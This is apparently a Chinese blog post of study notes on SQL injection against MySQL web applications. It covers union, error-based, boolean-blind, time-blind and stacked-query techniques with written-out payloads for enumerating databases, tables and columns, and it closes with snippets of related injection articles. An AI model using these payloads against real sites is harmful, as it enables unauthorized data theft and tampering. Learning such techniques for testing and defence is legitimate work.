sql注入手段整理

2021-09-01 12:11:02 字數 2964 閱讀 4383

注入產生原因:使用者引數中夾帶sql語句,未加識別就被帶入到後台資料庫查詢。

相關知識點:mysql資料庫中有information_schema庫,當中有表

1.schemata:儲存該使用者建立的所有資料庫庫名,欄位為 schema_name

2.tables:儲存庫名和表名,欄位為 table_schema,table_name

3.columns:記錄庫名錶名欄位名,相關欄位為schema,table_name,column_name

limit用法:limit m,n

limit 0,1表示第一條記錄開始,取一條記錄

記住幾個函式,database(),version(),user()

注釋符,#,--,/**/

內聯注釋:/!code/

用於整個sql語句中,來執行我們自己的sql語句

例:index.php?id=-15 /!union/ /!select/ 1,2,3

union注入攻擊

用'確認某**可能存在sql注入漏洞

用order by確認該資料表的字段數量

(id=1 order by 3與id=1返回頁面相同,

order by 4返回頁面不同,則字段數為3)

通過設定引數id的值來返回union select 的結果(id=-1,庫中沒有-1的資料,則返回union select的結果,union select 1,2,3 返回2:3,則可以在2,3的位置輸入sql查詢語句,如datebase()得到資料庫名,接下來輸入,select table_name from information_schema.tables where table_schema='資料庫名' limit 0,1得到第乙個表名,select column_name from information_schema.colunms where table_schema='庫名' and table_name='表名' limit 0,1 獲得第乙個欄位名)

報錯注入

通過'發現某站點可能存在sql注入漏洞,並在注入'時程式直接將錯誤資訊輸出到了頁面上,故而可以用報錯注入獲取資料

相關的函式:

concat():為聚合函式,連線字串功能

floor():取float的整數值

rand():取0~1之間隨機浮點值

group by:為聚合函式,根據乙個或多個列對結果集進行分組並有排序功能

extractvalue() :對xml文件進行查詢的函式

其實就是相當於我們熟悉的html檔案中用

標籤查詢元素一樣

extractvalue(目標xml文件,xml路徑)

第二個引數 xml中的位置是可操作的地方,xml文件中查詢字元位置是用 /***/***/***/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。

正常查詢 第二個引數的位置格式 為 /***/xx/xx/xx ,即使查詢不到也不報錯

select username from security.user where id=1 and (extractvalue(『anything』,』/x/xx』))

使用concat()拼接 『  /  『 效果相同

updatexml()函式與extractvalue()類似,是更新xml文件的函式。

語法updatexml(目標xml文件,xml路徑,更新的內容)

select username from security.user where id=1 and (updatexml(『anything』,』/xx/xx』,』anything』))

布林盲注

某站點發現可能有sql注入漏洞,通過改變id值和加』發現頁面不返回資料庫中的資料(只返回正常或錯誤頁面),故而不使用union注入,改而使用布林注入,構造不同的sql語句,通過檢視頁面返回結果來推測那些sql判斷條件是成立的,以此獲得資料庫中的資料。

相關函式:(用於夾逼)

length():

substr():從1開始

ascii():

left():

判斷資料庫庫名的長度

' and length(database())>=1--+ (注釋掉後面的單引號)

判斷出庫名的長度以後逐字判斷資料庫庫名

' and substr(database(),1,1)='t'--+

這裡可以只用burpsuit來爆破

也可以使用ascii碼的字元進行查詢

' and ord(substr(database(),1,1))=115--+

然後構造sql語句以上述方法判斷表名

' and substr((select table_name from information_schema.tables where table_schema='庫名' limit 0,1),1,1)='e(字母)'--+

時間盲注

遇到布林盲注的前提情況下的另一種注入方法,時間注入

相關函式:

sleep()

benchmark()

if(expr1,expr2,expr3):如果expr1條件正確,則返回expr2的值,否expr3.

在burpsuit中可以看到響應時間

if(length(database())>1,sleep(5),1)判斷長度

判斷庫名稱

表名長度

表名,,,

堆疊注入

多語句之間用;隔開,執行多條語句,然後再第二條語句中構造自己要執行的語句,1'返回錯誤,1'%23返回正確

則可以使用布林,時間以及堆疊注入

';select if(substr(user(),1,1)='字母',sleep(3),1)%23

然後就可以用時間盲注的方法獲取資料

sql注入 手工注入

表示式 描述union 將查詢結果進行聯合輸出,追加在列尾 union all load 檔案讀取 into outfile 檔案寫入 datadir 資料庫檔案存放路徑 user 當前使用者 version 資料庫版本 database 資料庫名稱 表示系統變數 資料庫 表名描述 informat...

遠端注入手段 及 記憶體操作

有兩個函式可以用來實現上述功能 virtualallocex和createremotethread。這兩個函式都只能在windows nt下使用。virtualallocex函式可以用來在其他程序的位址空間內申請記憶體,當然申請到的記憶體也是位於目標程序的位址空間內的,將這個函式和writeproc...

SQL注入(手工篇)

開發人員在開發web系統時對輸入的資料沒有進行有效的驗證及過濾,就存在引發sql注入漏洞的可能,並導致檢視 插入 刪除資料庫的資料,甚至可以執行主機系統命令。1.可能出現asp?id x的 2.漏洞測試 1 單引號測試 在頁面中執行命令時使用成對單引號和單個單引號進行測試,檢視是否有sql注入 2 ...